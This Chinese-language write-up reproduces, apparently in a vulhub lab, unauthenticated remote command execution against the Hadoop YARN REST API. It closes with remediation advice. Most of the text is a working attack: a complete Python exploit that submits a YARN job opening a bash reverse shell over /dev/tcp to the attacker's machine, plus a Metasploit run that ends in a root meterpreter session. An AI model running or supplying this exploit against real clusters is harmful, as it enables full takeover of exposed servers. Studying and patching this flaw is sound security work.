0x01 概述
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。
0x02 影响范围
(1)Apache Hadoop YARN资源管理系统
(2)对外开启以下作用的端口:
yarn.resourcemanager.webapp.address,默认端口8088
yarn.resourcemanager.webapp.https.address,默认端口8090
0x03 简单检测
(1)环境:vulhub
(2)访问http://192.168.178.128:8008
出现hadoop未授权访问页面。
(3)构造POST请求,返回如下信息证明存在
curl -X POST 192.168.178.128:8088/ws/v1/cluster/apps/new-application
0x04 漏洞复现
修改exp脚本目标url、本地IP、监听端口,然后开启本地监听9999端口(与脚本一致即可)准备反弹shell,执行exp脚本文件python3 hadooprce.py
,即可获取shell
hadooprce.py文件内容:
import requests
#python3
target = 'http://192.168.178.128:8088/' # put your remote host IP here
lhost = '192.168.178.129' # put your local host IP here
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)
也可以利用msf的模块:
msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhosts 192.168.178.128
rhosts => 192.168.178.128
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.178.129
lhost => 192.168.178.129
msf5 exploit(linux/http/hadoop_unauth_exec) > set lport 4444
lport => 4444
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.178.129:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (980808 bytes) to 192.168.178.128
[*] Meterpreter session 1 opened (192.168.178.129:4444 -> 192.168.178.128:36834) at 2020-12-17 17:42:02 +0800
meterpreter > getuid
Server username: no-user @ 1ab507230acc (uid=0, gid=0, euid=0, egid=0)
meterpreter >
0x05 修复建议
1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问,不要将接口开放在公网,改为本地或者内网调用;
2.Hadoop在2.X以上版本提供了安全认证功能,加入了 认证机制,建议启用Kerberos认证功能。